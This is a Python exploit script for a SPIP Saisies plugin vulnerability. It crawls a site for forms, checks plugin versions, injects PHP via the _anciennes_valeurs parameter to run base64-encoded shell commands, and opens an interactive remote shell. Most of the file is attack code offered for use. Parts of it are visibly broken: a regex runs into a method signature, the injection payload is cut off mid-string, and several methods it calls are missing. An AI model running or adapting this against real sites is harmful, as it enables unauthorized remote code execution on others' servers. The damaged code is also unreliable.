#!/usr/bin/env python3
"""
CVE-2025-71243 - SPIP Saisies Plugin RCE
Unauthenticated PHP code injection via the _anciennes_valeurs parameter.
The saisies plugin (5.4.0 through 5.11.0) interpolates raw user input into
a template rendered with interdire_scripts=false, giving direct PHP execution.
The target must have a publicly accessible page containing a saisies-powered
form (most commonly created with the Formidable plugin). Use --crawl to
automatically discover such pages by following internal links.
Usage:
python3 exploit.py -u http://target/spip.php?page=contact --check
python3 exploit.py -u http://target/spip.php?page=contact -c "id"
python3 exploit.py -u http://target --crawl -c "id"
"""
import argparse
import base64
import re
import sys
import urllib.parse
from html.parser import HTMLParser
import requests
requests.packages.urllib3.disable_warnings()
BANNER = """
CVE-2025-71243 - SPIP Saisies RCE
Unauthenticated PHP code injection via _anciennes_valeurs
"""
class LinkExtractor(HTMLParser):
"""Extract all href attributes from anchor tags."""
def __init__(self):
super().__init__()
self.links = []
def handle_starttag(self, tag, attrs):
if tag == "a":
for k, v in attrs:
if k == "href" and v:
self.links.append(v)
class Exploit:
"""CVE-2025-71243 exploit targeting the SPIP Saisies plugin."""
PARAM = "_anciennes_valeurs"
MARKER = "CVE202571243"
ASSET_RE = re.compile(r"\.(css|js|png|jpe?g|gif|svg|ico|woff2?|xml)(\?|$)")
OUTPUT_RE = re.compile(r"value='x' />(.*?) requests.Response:
return self.session.get(url, timeout=timeout)
def _post(self, url: str, data: dict, timeout: int = 30) -> requests.Response:
return self.session.post(url, data=data, timeout=timeout)
def _origin(self, url: str) -> str:
p = urllib.parse.urlparse(url)
return f"{p.scheme}://{p.netloc}"
def _has_form(self, html: str) -> bool:
return self.PARAM in html
def _inject(self, php_code: str) -> str:
return f"x' /> str:
"""Execute a shell command and return its output."""
b64 = base64.b64encode(cmd.encode()).decode()
payload = self._inject(f"system(base64_decode('{b64}'));")
r = self._post(url, data={self.PARAM: payload})
return self._extract_output(r.text)
def shell(self, url: str) -> None:
"""Interactive shell loop."""
print("[*] Shell ready. Type 'exit' to quit.\n")
while True:
try:
cmd = input("$ ").strip()
except (EOFError, KeyboardInterrupt):
print()
break
if not cmd or cmd == "exit":
break
output = self.execute(url, cmd)
if output:
print(output)
def main():
print(BANNER)
p = argparse.ArgumentParser(description="CVE-2025-71243 - SPIP Saisies RCE")
p.add_argument("-u", "--url", required=True,
help="Target URL (form page, or base URL with --crawl)")
p.add_argument("-c", "--command", help="Single command to execute")
p.add_argument("--check", action="store_true", help="Only check vulnerability")
p.add_argument("--crawl", action="store_true",
help="Crawl the site to discover a saisies form")
p.add_argument("--proxy", help="HTTP proxy (http://host:port)")
args = p.parse_args()
exploit = Exploit(proxy=args.proxy)
url = args.url
# Detect saisies plugin before crawling
version = exploit.detect_saisies(url)
if version:
if exploit.is_vulnerable_version(version):
print(f"[+] Saisies plugin detected: v{version} (vulnerable)")
else:
print(f"[-] Saisies plugin detected: v{version} (not vulnerable)")
sys.exit(1)
else:
print("[*] Saisies plugin not detected via Composed-By/config.txt")
if args.crawl:
print(f"[*] Crawling {url} ...")
found = exploit.crawl(url)
if not found:
print("[-] No saisies form found on target.")
sys.exit(1)
print(f"[+] Found form: {found}")
url = found
else:
print(f"[*] Target: {url}")
if not exploit.check(url):
print("[-] Not vulnerable or no saisies form at this URL.")
sys.exit(1)
print("[+] Vulnerable!")
if args.check:
sys.exit(0)
if args.command:
print(exploit.execute(url, args.command))
sys.exit(0)
exploit.shell(url)
if __name__ == "__main__":
main()